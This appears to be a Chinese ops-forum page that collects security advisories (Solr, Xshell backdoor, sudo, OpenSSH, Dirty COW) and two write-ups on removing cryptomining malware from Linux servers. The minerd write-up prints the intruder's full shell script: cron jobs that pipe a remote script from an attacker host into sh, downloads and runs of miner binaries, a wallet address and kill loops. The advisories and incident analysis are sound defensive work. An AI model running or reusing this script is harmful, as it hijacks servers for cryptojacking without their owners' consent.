bug

bug

Apache Solr/Lucene 0Day远程代码执行漏洞安全预警

运维技术OS小编 发表了文章 • 0 个评论 • 141 次浏览 • 2017-10-20 22:07 • 来自相关话题

近日,Apache Solr/Lucene修复了一个0-day漏洞,该漏洞可能导致运程代码执行、信息泄露,危害严重。请及时检查您所使用的Apache Solr是否受影响,并采取安全防御措施。
 
影响范围:

Solr 5.5.0 to 5.5.4

Solr 6.0.0 to 6.6.1

Solr 7.0.0 to 7.0.1

修复方案:

升级到官方提供的安全修复版本:

Solr 6.6.2

Solr 7.1.0

漏洞详情:
CVE-2017-12629:Apache Solr存在XXE和RCE漏洞:
lucene xml解析器没有明确禁止doctype 外部实体的声明,黑客可通过构造恶意的XML请求来读取服务器任意文件,导致信息泄露。Apache Solr“RunExecutableListener”类可以通过恶意的请求来执行任意操作,导致服务器被控制。
 
参考链接:
https://issues.apache.org/jira/browse/SOLR-11482  
https://issues.apache.org/jira/browse/SOLR-11477   查看全部
近日,Apache Solr/Lucene修复了一个0-day漏洞,该漏洞可能导致运程代码执行、信息泄露,危害严重。请及时检查您所使用的Apache Solr是否受影响,并采取安全防御措施。
 
影响范围:


Solr 5.5.0 to 5.5.4

Solr 6.0.0 to 6.6.1

Solr 7.0.0 to 7.0.1


修复方案:


升级到官方提供的安全修复版本:

Solr 6.6.2

Solr 7.1.0


漏洞详情:
CVE-2017-12629:Apache Solr存在XXE和RCE漏洞:
  1. lucene xml解析器没有明确禁止doctype 外部实体的声明,黑客可通过构造恶意的XML请求来读取服务器任意文件,导致信息泄露。
  2. Apache Solr“RunExecutableListener”类可以通过恶意的请求来执行任意操作,导致服务器被控制。

 
参考链接:
https://issues.apache.org/jira/browse/SOLR-11482  
https://issues.apache.org/jira/browse/SOLR-11477  

[Errno 14] problem making ssl connection Trying other mirror

运维技术采菊篱下 回复了问题 • 2 人关注 • 1 个回复 • 267 次浏览 • 2017-08-17 10:26 • 来自相关话题

NetSarang旗下XShell和Xmanager多款软件被植入后门

运维技术OS小编 发表了文章 • 0 个评论 • 209 次浏览 • 2017-08-15 16:20 • 来自相关话题

近日,境内外多家安全公司爆料称NetSarang旗下Xmanager和Xshell等产品的多个版本被植入后门代码,由于相关软件在国内程序开发和运维人员中被广泛使用,可能导致大量用户服务器账号密码泄露。请及时检查您所使用的版本是否受影响,并采取安全防御措施。
 

影响范围

使用了nssock2.dll 5.0.0.26的版本会受到影响,其中包括:
 Xmanager Enterprise 5.0 Build 1232 Xmanager 5.0 Build 1045 Xshell 5.0 Build 1322 Xshell 5.0 Build 1325 Xftp 5.0 Build 1218 Xlpd 5.0 Build 1220
 

修复方案

 1、从官网下载最新版本进行升级:https://www.netsarang.com/download/software.html  ;
 
2、排查2017年的DNS访问日志,如出现如下子域名相关访问记录,建议修改对应员工使用过Xmanager 、XShell、Xftp等相关的登录账号密码:
vwrcbohspufip.comribotqtonut.comnylalobghyhirgh.comjkvmdmjyfcvkf.combafyvoruzgjitwr.comxmponmzmxkxkh.comtczafklirkl.com
 

漏洞详情

某安全公司发现NetSarang的Xmanager, Xshell, Xftp, Xlpd等产品中,发布的nssock2.dll模块中存在恶意代码远程漏洞,存在后门的XShell等程序会在启动时发起大量请求DNS域名请求,并根据使用者系统时间生成不同的请求链接。有媒体报道,带后门的Xshell会向服务器传输敏感信息。
 
参考链接:https://www.netsarang.com/news/security_exploit_in_july_18_2017_build.html  。 查看全部
近日,境内外多家安全公司爆料称NetSarang旗下Xmanager和Xshell等产品的多个版本被植入后门代码,由于相关软件在国内程序开发和运维人员中被广泛使用,可能导致大量用户服务器账号密码泄露。请及时检查您所使用的版本是否受影响,并采取安全防御措施。
 


影响范围


使用了nssock2.dll 5.0.0.26的版本会受到影响,其中包括:
  •  Xmanager Enterprise 5.0 Build 1232
  •  Xmanager 5.0 Build 1045
  •  Xshell 5.0 Build 1322
  •  Xshell 5.0 Build 1325
  •  Xftp 5.0 Build 1218
  •  Xlpd 5.0 Build 1220

 


修复方案


 1、从官网下载最新版本进行升级:https://www.netsarang.com/download/software.html  ;
 
2、排查2017年的DNS访问日志,如出现如下子域名相关访问记录,建议修改对应员工使用过Xmanager 、XShell、Xftp等相关的登录账号密码:
  • vwrcbohspufip.com
  • ribotqtonut.com
  • nylalobghyhirgh.com
  • jkvmdmjyfcvkf.com
  • bafyvoruzgjitwr.com
  • xmponmzmxkxkh.com
  • tczafklirkl.com

 


漏洞详情


某安全公司发现NetSarang的Xmanager, Xshell, Xftp, Xlpd等产品中,发布的nssock2.dll模块中存在恶意代码远程漏洞,存在后门的XShell等程序会在启动时发起大量请求DNS域名请求,并根据使用者系统时间生成不同的请求链接。有媒体报道,带后门的Xshell会向服务器传输敏感信息。
 
参考链接:https://www.netsarang.com/news/security_exploit_in_july_18_2017_build.html  。

有道笔记你挂了,你知道吗?

互联网资讯Nock 回复了问题 • 2 人关注 • 1 个回复 • 734 次浏览 • 2017-08-15 16:09 • 来自相关话题

清除wnTKYg挖矿木马过程详解

运维技术chris 发表了文章 • 0 个评论 • 518 次浏览 • 2017-07-27 23:02 • 来自相关话题

 杀wnTKYg病毒分两步,第一是找到它的来源,切断入口,第二步,找到它的守护进程并杀死,然后再去杀死病毒进程,有的守护进程很隐蔽,唤醒病毒之后,自动消亡,这时候top就看不到了,要留心。
由于工作需要,我由一个专业java开发工程师,渐渐的也成为了不专业的资深的运维工程师了。最近项目在做性能测试,发现CPU使用率异常,无人访问时CPU也一直保持75%,然后在xShell上top了一下,发现wnTKYg这个程序CPU占用率300%.




很明显是病毒进程,下意识的把它kill了,但是一分钟之后又自动重启了,于是百度了一下,发现这个东西叫做挖矿工,简单的说,就是别人用你的服务器去做它自己的事,然后赚钱。       
 
知道wnTKYg是什么鬼之后,我不急着杀死它,先百度了一下它怎么进来的,百度上关于它的帖子特别少,说是钻了redis的空子进来的,我基本上赞同这个说法,第一步就是对redis进行了配置上的修改:
把默认的端口号6379给改了把密码改的更复杂了把bind xx.xx.x.x xx.xx.xx.xx改了
修改redis是防止这熊孩子再进来,第二步就是把已经入驻的木马杀死,它不仅使用我的服务器,它还登录我的账号,所以查看了 /root/.ssh 下的文件,在/root/.ssh/known_hosts中发现了我不认识的IP,绝对有问题,于是干脆把 /root/.ssh 下的文件都删了,省事了。
 
第三步就是要找到所有关于病毒的文件, 执行命令  find / -name wnTKYg*,只有/tmp下有这个文件,删了,然后就去kill wnTKYg进程,你以为这样它就可以死了吗?Never!一分钟之后它又复活了,我猜测一定有守护进程在唤醒它,于是我再kill  然后top观察进行变化,终于被我发现了,有一个/tmp/ddg.1007进程很可疑,于是百度这个东东验证了一下,果然,就是挖矿工的守护进程,用ps -aux|grep ddg 命令把所有ddg进程找出来杀掉,并删除/tmp目录下的所有的对应ddg文件,至此,病毒被解决了,异地登录,安全扫描什么的也被我解决了。
 
很多哥们也遇到了这个问题,加了我好友,并且描述了他们的一些情况,我会把他们的改进和补充也写在此贴里,有的哥们会有个定时任务下载这些东西,目录 /var/spool/cron,记得留意这个文件夹,如果遇到,就把它干掉。
 
安全问题依然严峻,于是找了一家安全公司--安全狗咨询了下相关的安全业务,发现蛮贵的,都是万开头的,而且我也不知道他们水平怎么样,于是把我遇到的问题跟业务员说了,看看他们怎么解决,怎么收费,谈判了一下午,定价3500,没的再低了,哎,还是我好,又为公司省了3500。
 
因为发了这篇帖子,一位和我情况差不多的网友也提供了一种解决方案,我把他的也贴进来与大家分享谢谢这位网友:首先关闭挖矿的服务器访问 :iptables -A INPUT -s xmr.crypto-pool.fr -j DROP
iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP然后删除yam 文件   用find / -name yam查找yam 文件    之后 找到wnTKYg 所在目录 取消掉其权限  并删除 然后再取消掉 tmp 的权限并删除  之后 pkill  wnTKYg就OK了。
 
当然,我也咨询了阿里的解决方案,有两个,①找第三方安全公司杀②把数据备份一下,重置系统 。  坑爹的阿里啊。
 
分享阅读:点击原文。 查看全部
 杀wnTKYg病毒分两步,第一是找到它的来源,切断入口,第二步,找到它的守护进程并杀死,然后再去杀死病毒进程,有的守护进程很隐蔽,唤醒病毒之后,自动消亡,这时候top就看不到了,要留心。
由于工作需要,我由一个专业java开发工程师,渐渐的也成为了不专业的资深的运维工程师了。最近项目在做性能测试,发现CPU使用率异常,无人访问时CPU也一直保持75%,然后在xShell上top了一下,发现wnTKYg这个程序CPU占用率300%.
wntky.png

很明显是病毒进程,下意识的把它kill了,但是一分钟之后又自动重启了,于是百度了一下,发现这个东西叫做挖矿工,简单的说,就是别人用你的服务器去做它自己的事,然后赚钱。       
 
知道wnTKYg是什么鬼之后,我不急着杀死它,先百度了一下它怎么进来的,百度上关于它的帖子特别少,说是钻了redis的空子进来的,我基本上赞同这个说法,第一步就是对redis进行了配置上的修改:
  1. 把默认的端口号6379给改了
  2. 把密码改的更复杂了
  3. 把bind xx.xx.x.x xx.xx.xx.xx改了

修改redis是防止这熊孩子再进来,第二步就是把已经入驻的木马杀死,它不仅使用我的服务器,它还登录我的账号,所以查看了 /root/.ssh 下的文件,在/root/.ssh/known_hosts中发现了我不认识的IP,绝对有问题,于是干脆把 /root/.ssh 下的文件都删了,省事了。
 
第三步就是要找到所有关于病毒的文件, 执行命令  find / -name wnTKYg*,只有/tmp下有这个文件,删了,然后就去kill wnTKYg进程,你以为这样它就可以死了吗?Never!一分钟之后它又复活了,我猜测一定有守护进程在唤醒它,于是我再kill  然后top观察进行变化,终于被我发现了,有一个/tmp/ddg.1007进程很可疑,于是百度这个东东验证了一下,果然,就是挖矿工的守护进程,用ps -aux|grep ddg 命令把所有ddg进程找出来杀掉,并删除/tmp目录下的所有的对应ddg文件,至此,病毒被解决了,异地登录,安全扫描什么的也被我解决了。
 
很多哥们也遇到了这个问题,加了我好友,并且描述了他们的一些情况,我会把他们的改进和补充也写在此贴里,有的哥们会有个定时任务下载这些东西,目录 /var/spool/cron,记得留意这个文件夹,如果遇到,就把它干掉
 
安全问题依然严峻,于是找了一家安全公司--安全狗咨询了下相关的安全业务,发现蛮贵的,都是万开头的,而且我也不知道他们水平怎么样,于是把我遇到的问题跟业务员说了,看看他们怎么解决,怎么收费,谈判了一下午,定价3500,没的再低了,哎,还是我好,又为公司省了3500
 
因为发了这篇帖子,一位和我情况差不多的网友也提供了一种解决方案,我把他的也贴进来与大家分享谢谢这位网友:首先关闭挖矿的服务器访问 :
iptables -A INPUT -s  xmr.crypto-pool.fr -j DROP
iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP
然后删除yam 文件   用find / -name yam查找yam 文件    之后 找到wnTKYg 所在目录 取消掉其权限  并删除 然后再取消掉 tmp 的权限并删除  之后 pkill  wnTKYg就OK了。
 
当然,我也咨询了阿里的解决方案,有两个,①找第三方安全公司杀②把数据备份一下,重置系统 。  坑爹的阿里啊。
 
分享阅读:点击原文

Sudo本地提权漏洞安全预警

运维技术OS小编 发表了文章 • 0 个评论 • 350 次浏览 • 2017-05-31 15:53 • 来自相关话题

linux 系统sudo存在本地提权高危漏洞,本地攻击者可以利用此漏洞提权至root。请检查您所使用的sudo是否在影响范围之内,并及时进行升级。
影响范围

       Centos 5、6、7

       Redhat Enterprise Linux 5、6、7

       Ubuntu 14.04、15.04、16.04、16.10、17.04、17.10

       Debian wheezy、jessie、jessie、sid

       SUSE Linux Enterprise Software Development Kit 12 SP1、SP2

       SUSE Linux Enterprise Server for SAP 12

       SUSE Linux Enterprise Server 12 SP1 、SP2

       SUSE Linux Enterprise Server 12-LTSS

       SUSE Linux Enterprise Desktop 12 SP1 、SP2

       SUSE Linux Enterprise Server for Raspberry Pi 12 SP2

       OpenSuse
 
修复方案

       【CentOS/RHEL】

       yum update

       或 yum install sudo

       【Ubuntu/Debian】

       sudo apt update $ sudo apt upgrade

       或sudo apt-get install sudo

       备注:部分官方版本还未发布可用修复包,请时刻关注,官网发布后UCloud软件源也会在第一时间更新。

       【修复版本】

       1、Centos /Redhat

       Centos /RHEL 7 :1.8.6p7-22.el7_3

       Centos /RHEL 6 :1.8.6p3-28.el6_9

       Centos /RHEL 5 :1.7.2p1-30.el5_11

       2、Ubuntu

       Ubuntu 14.04:1.8.9p5-1ubuntu1.4

       Ubuntu 16.04:1.8.16-0ubuntu1.4

       Ubuntu 16.10:1.8.16-0ubuntu3.2

       Ubuntu 17.04:1.8.19p1-1ubuntu1.1

       3、Debian

       Debian wheezy:1.8.5p2-1+nmu3+deb7u3

       Debian jessie:1.8.10p3-1+deb8u4

       4、SUSE /OpenSuse

       1.8.10p3-2.11.1

       1.8.10p3-10.5.1
 
漏洞详情

       CVE-2017-1000367:当确定tty时,Sudo没有正确解析/ proc / [pid] / stat的内容,本地攻击者可能会使用此方法来覆盖文件系统上的任何文件,从而绕过预期权限或获取root shell。

       sudo版本查看方法:

       Centos /RHEL /SUSE /OpenSuse:rpm -qa|grep sudo

       Ubuntu /Debian:dpkg -l sudo 查看全部
linux 系统sudo存在本地提权高危漏洞,本地攻击者可以利用此漏洞提权至root。请检查您所使用的sudo是否在影响范围之内,并及时进行升级。
影响范围

       Centos 5、6、7

       Redhat Enterprise Linux 5、6、7

       Ubuntu 14.04、15.04、16.04、16.10、17.04、17.10

       Debian wheezy、jessie、jessie、sid

       SUSE Linux Enterprise Software Development Kit 12 SP1、SP2

       SUSE Linux Enterprise Server for SAP 12

       SUSE Linux Enterprise Server 12 SP1 、SP2

       SUSE Linux Enterprise Server 12-LTSS

       SUSE Linux Enterprise Desktop 12 SP1 、SP2

       SUSE Linux Enterprise Server for Raspberry Pi 12 SP2

       OpenSuse
 
修复方案

       【CentOS/RHEL】

       yum update

       或 yum install sudo

       【Ubuntu/Debian】

       sudo apt update $ sudo apt upgrade

       或sudo apt-get install sudo

       备注:部分官方版本还未发布可用修复包,请时刻关注,官网发布后UCloud软件源也会在第一时间更新。

       【修复版本】

       1、Centos /Redhat

       Centos /RHEL 7 :1.8.6p7-22.el7_3

       Centos /RHEL 6 :1.8.6p3-28.el6_9

       Centos /RHEL 5 :1.7.2p1-30.el5_11

       2、Ubuntu

       Ubuntu 14.04:1.8.9p5-1ubuntu1.4

       Ubuntu 16.04:1.8.16-0ubuntu1.4

       Ubuntu 16.10:1.8.16-0ubuntu3.2

       Ubuntu 17.04:1.8.19p1-1ubuntu1.1

       3、Debian

       Debian wheezy:1.8.5p2-1+nmu3+deb7u3

       Debian jessie:1.8.10p3-1+deb8u4

       4、SUSE /OpenSuse

       1.8.10p3-2.11.1

       1.8.10p3-10.5.1
 
漏洞详情

       CVE-2017-1000367:当确定tty时,Sudo没有正确解析/ proc / [pid] / stat的内容,本地攻击者可能会使用此方法来覆盖文件系统上的任何文件,从而绕过预期权限或获取root shell。

       sudo版本查看方法:

       Centos /RHEL /SUSE /OpenSuse:rpm -qa|grep sudo

       Ubuntu /Debian:dpkg -l sudo

挖矿程序minerd入侵分析和解决

互联网资讯koyo 发表了文章 • 0 个评论 • 2923 次浏览 • 2017-01-11 18:08 • 来自相关话题

发现问题

最近一台安装了Gitlab的服务器发生了高负载告警,Cpu使用情况如下:




让后登录到服务器,利用top查看CPU使用情况,这个叫minerd的程序消耗cpu较大,如下图所示:




这个程序并不是我们的正常服务程序,心里一想肯定被黑了,然后就搜索了一下这个程序,果真就是个挖矿木马程序,既然已经知道他是木马程序,那就看看它是怎么工作的,然后怎么修复一下后门。
 
这个程序放在/opt/minerd下,在确定跟项目不相关的情况下判断是个木马程序,果断kill掉进程,然后删除/opt下minerd文件。




本想这样可以解决,谁想不到15秒时间,又自动启动起来,而且文件又自动创建,这个让我想起了crontab的定时器,果然运一查确实crond存在一条:,果断删除处理。再杀进程,再删文件;然并卵,依旧起来;




既然没用我继续google,在stackexchange找到如下解决方案:




各种文件删除都不起作用,原来该木马程序注册了一个“lady”的服务,而且还是开机启动,起一个这个可爱的名字,谁TMD知道这是一个木马, 这个伪装程序也可能是ntp,可以参考:http://53cto.blog.51cto.com/9899631/1826989  。
 
这下完美解决了,但是得分析一下原因,shell启动脚本:export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/crontabs/root

if [ ! -f "/tmp/ddg.217" ]; then
curl -fsSL http://www.haveabitchin.com/ddg.$(uname -m) -o /tmp/ddg.217
fi
chmod +x /tmp/ddg.217 && /tmp/ddg.217
killall /tmp/ddg.216


if [ -d "/opt/yam" ]; then
rm -rf /opt/yam
fi

ps auxf|grep -v grep|grep /tmp/duckduckgo|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/usr/sbin/ntp"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/minerd"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9

#/opt/minerd -h
#if [ $? != "0" ]; then
#ps auxf|grep -v grep|grep "/opt/minerd"
#if [ $? != "0" ]; then
#if [ ! -f /opt/yam ]; then
#curl -fsSL http://www.haveabitchin.com/yam -o /opt/yam
#fi
#chmod +x /opt/yam && /opt/yam -c x -M stratum+tcp://4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC:x@xmr.crypto-pool.fr:443/xmr
#fi
#fi

DoMiner()
{
if [ ! -f "/tmp/AnXqV" ]; then
curl -fsSL http://www.haveabitchin.com/minerd -o /tmp/AnXqV
fi
chmod +x /tmp/AnXqV
/tmp/AnXqV -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:443 -u 4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC -p x
}
ps auxf|grep -v grep|grep "4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC" || DoMiner


DoRedis6379()
{
iptables -F REDIS6379
iptables -A REDIS6379 -p tcp -s 127.0.0.1 --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 0.0.0.0/8 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 10.0.0.0/8 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 169.254.0.0/16 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 172.16.0.0/12 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 192.168.0.0/16 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 224.0.0.0/4 -p tcp --dport 6379 -j ACCEPT
iptables -A REDIS6379 -p TCP --dport 6379 -j REJECT
iptables -I INPUT -j REDIS6379
}
iptables -D OUTPUT -j REDIS6379
iptables -F REDIS6379
iptables -X REDIS6379
iptables -D INPUT -j REDIS63792
iptables -F REDIS63792
iptables -X REDIS63792
#iptables -N REDIS6379 && DoRedis6379解决minerd并不是最终的目的,主要是要查找问题根源,我的服务器问题出在了redis服务了,黑客利用了redis的一个漏洞获得了服务器的访问权限。

商业模式

被植入比特币“挖矿木马”的电脑,系统性能会受到较大影响,电脑操作会明显卡慢、散热风扇狂转;另一个危害在于,“挖矿木马”会大量耗电,并造成显卡、CPU等硬件急剧损耗。比特币具有匿名属性,其交易过程是不可逆的,被盗后根本无法查询是被谁盗取,流向哪里,因此也成为黑客的重点窃取对象。

攻击&防御

植入方式:安全防护策略薄弱,利用Jenkins、Redis等中间件的漏洞发起攻击,获得root权限。
最好的防御可能还是做好防护策略、严密监控服务器资源消耗(CPU/load)。
这种木马很容易变种,很多情况杀毒软件未必能够识别。 查看全部


发现问题


最近一台安装了Gitlab的服务器发生了高负载告警,Cpu使用情况如下:
UseCpu.png

让后登录到服务器,利用top查看CPU使用情况,这个叫minerd的程序消耗cpu较大,如下图所示:
minerd.png

这个程序并不是我们的正常服务程序,心里一想肯定被黑了,然后就搜索了一下这个程序,果真就是个挖矿木马程序,既然已经知道他是木马程序,那就看看它是怎么工作的,然后怎么修复一下后门。
 
这个程序放在/opt/minerd下,在确定跟项目不相关的情况下判断是个木马程序,果断kill掉进程,然后删除/opt下minerd文件。
wbug.png

本想这样可以解决,谁想不到15秒时间,又自动启动起来,而且文件又自动创建,这个让我想起了crontab的定时器,果然运一查确实crond存在一条:,果断删除处理。再杀进程,再删文件;然并卵,依旧起来;
crontab.png

既然没用我继续google,在stackexchange找到如下解决方案:
stackerror.png

各种文件删除都不起作用,原来该木马程序注册了一个“lady”的服务,而且还是开机启动,起一个这个可爱的名字,谁TMD知道这是一个木马, 这个伪装程序也可能是ntp,可以参考:http://53cto.blog.51cto.com/9899631/1826989  。
 
这下完美解决了,但是得分析一下原因,shell启动脚本:
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/crontabs/root

if [ ! -f "/tmp/ddg.217" ]; then
curl -fsSL http://www.haveabitchin.com/ddg.$(uname -m) -o /tmp/ddg.217
fi
chmod +x /tmp/ddg.217 && /tmp/ddg.217
killall /tmp/ddg.216


if [ -d "/opt/yam" ]; then
rm -rf /opt/yam
fi

ps auxf|grep -v grep|grep /tmp/duckduckgo|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/usr/sbin/ntp"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/minerd"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9

#/opt/minerd -h
#if [ $? != "0" ]; then
#ps auxf|grep -v grep|grep "/opt/minerd"
#if [ $? != "0" ]; then
#if [ ! -f /opt/yam ]; then
#curl -fsSL http://www.haveabitchin.com/yam -o /opt/yam
#fi
#chmod +x /opt/yam && /opt/yam -c x -M stratum+tcp://4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC:x@xmr.crypto-pool.fr:443/xmr
#fi
#fi

DoMiner()
{
if [ ! -f "/tmp/AnXqV" ]; then
curl -fsSL http://www.haveabitchin.com/minerd -o /tmp/AnXqV
fi
chmod +x /tmp/AnXqV
/tmp/AnXqV -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:443 -u 4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC -p x
}
ps auxf|grep -v grep|grep "4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC" || DoMiner


DoRedis6379()
{
iptables -F REDIS6379
iptables -A REDIS6379 -p tcp -s 127.0.0.1 --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 0.0.0.0/8 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 10.0.0.0/8 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 169.254.0.0/16 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 172.16.0.0/12 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 192.168.0.0/16 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 224.0.0.0/4 -p tcp --dport 6379 -j ACCEPT
iptables -A REDIS6379 -p TCP --dport 6379 -j REJECT
iptables -I INPUT -j REDIS6379
}
iptables -D OUTPUT -j REDIS6379
iptables -F REDIS6379
iptables -X REDIS6379
iptables -D INPUT -j REDIS63792
iptables -F REDIS63792
iptables -X REDIS63792
#iptables -N REDIS6379 && DoRedis6379
解决minerd并不是最终的目的,主要是要查找问题根源,我的服务器问题出在了redis服务了,黑客利用了redis的一个漏洞获得了服务器的访问权限。


商业模式


被植入比特币“挖矿木马”的电脑,系统性能会受到较大影响,电脑操作会明显卡慢、散热风扇狂转;另一个危害在于,“挖矿木马”会大量耗电,并造成显卡、CPU等硬件急剧损耗。比特币具有匿名属性,其交易过程是不可逆的,被盗后根本无法查询是被谁盗取,流向哪里,因此也成为黑客的重点窃取对象。


攻击&防御


植入方式:安全防护策略薄弱,利用Jenkins、Redis等中间件的漏洞发起攻击,获得root权限。
最好的防御可能还是做好防护策略、严密监控服务器资源消耗(CPU/load)。
这种木马很容易变种,很多情况杀毒软件未必能够识别。

OpenSSH 远程代码执行漏洞安全预警

运维技术Geek小A 发表了文章 • 0 个评论 • 488 次浏览 • 2016-12-22 15:27 • 来自相关话题

概述

12 月 19 日,国外漏洞平台 securityfocus 上发布了最新的 OpenSSH(CVE-2016-10009) 远程代码执行漏洞。官方发布的openssh 7.4版本已经修复此漏洞,同时还修复了CVE-2016-10010、CVE-2016-10011、CVE-2016-10012和CVE-2016-8858。 请检查您使用版本是否在影响范围之内,并及时升级。
 

影响范围

OpenSSH 5.0 – 7.3
 

修复方案

请在升级前做好快照和文件备份,防止出现意外事件
1、升级到官网发布的 OpenSSH 7.4版本
注:升级openssh需要先将OpenSSL和Zlib升级到新版本
 

漏洞详情

CVE-2016-10009:黑客可通过此漏洞执行远程代码,或导致数据泄露。问题出在 ssh-agent ,这个进程默认不启动、只在多主机间免密码登录时才会用到,漏洞利用条件也比较苛刻,攻击者需要有控制agent-sock的权限和文件系统的写权限。官方漏洞评级为“中危”。

可以通过查看系统中是否有名为“ssh-agent ”的进程判断是否启用ssh-agent。

注:OpenSSH 7.4 已于 2016 年 12 月 19 日正式发布,新版本移植了在 Linux、BSD、以及其它类 Unix 平台上 SSH 2.0 协议的完整支持,主要修复了上一个版本中发现的 bug 和安全问题。需注意的是,7.4 版本的各项底层变化,有可能会影响现有的配置。

参考链接
https://www.openssh.com/txt/release-7.4 
http://seclists.org/oss-sec/2016/q4/708  查看全部
openssh.png


概述


12 月 19 日,国外漏洞平台 securityfocus 上发布了最新的 OpenSSH(CVE-2016-10009) 远程代码执行漏洞。官方发布的openssh 7.4版本已经修复此漏洞,同时还修复了CVE-2016-10010、CVE-2016-10011、CVE-2016-10012和CVE-2016-8858。 请检查您使用版本是否在影响范围之内,并及时升级。
 


影响范围


OpenSSH 5.0 – 7.3
 


修复方案


请在升级前做好快照和文件备份,防止出现意外事件
1、升级到官网发布的 OpenSSH 7.4版本
注:升级openssh需要先将OpenSSL和Zlib升级到新版本
 


漏洞详情


CVE-2016-10009:黑客可通过此漏洞执行远程代码,或导致数据泄露。问题出在 ssh-agent ,这个进程默认不启动、只在多主机间免密码登录时才会用到,漏洞利用条件也比较苛刻,攻击者需要有控制agent-sock的权限和文件系统的写权限。官方漏洞评级为“中危”。

可以通过查看系统中是否有名为“ssh-agent ”的进程判断是否启用ssh-agent。

注:OpenSSH 7.4 已于 2016 年 12 月 19 日正式发布,新版本移植了在 Linux、BSD、以及其它类 Unix 平台上 SSH 2.0 协议的完整支持,主要修复了上一个版本中发现的 bug 和安全问题。需注意的是,7.4 版本的各项底层变化,有可能会影响现有的配置。

参考链接
https://www.openssh.com/txt/release-7.4 
http://seclists.org/oss-sec/2016/q4/708 

CVE-2016-5195脏牛漏洞:Linux内核通杀提权漏洞

运维技术Geek小A 发表了文章 • 0 个评论 • 787 次浏览 • 2016-10-21 12:17 • 来自相关话题

漏洞描述

漏洞编号:CVE-2016-5195

漏洞名称:脏牛(Dirty COW)

漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权

影响范围:Linux内核>=2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。

为什么这个漏洞叫脏牛(Dirty COW)漏洞?

Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞。

漏洞相关细节​

漏洞细节:https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
根据RedHat公司的报告称:目前已经在野外发现针对这个漏洞的利用技术。但是到目前为止,我们没有更进一步的消息。    https://access.redhat.com/security/vulnerabilities/2706661Commit messages:
commit 4ceb5db9757aaeadcf8fbbf97d76bd42aa4df0d6
Author: Linus Torvalds <torvalds@g5.osdl.org>
Date: Mon Aug 1 11:14:49 2005 -0700修复get_user_pages()写访问竞争条件:
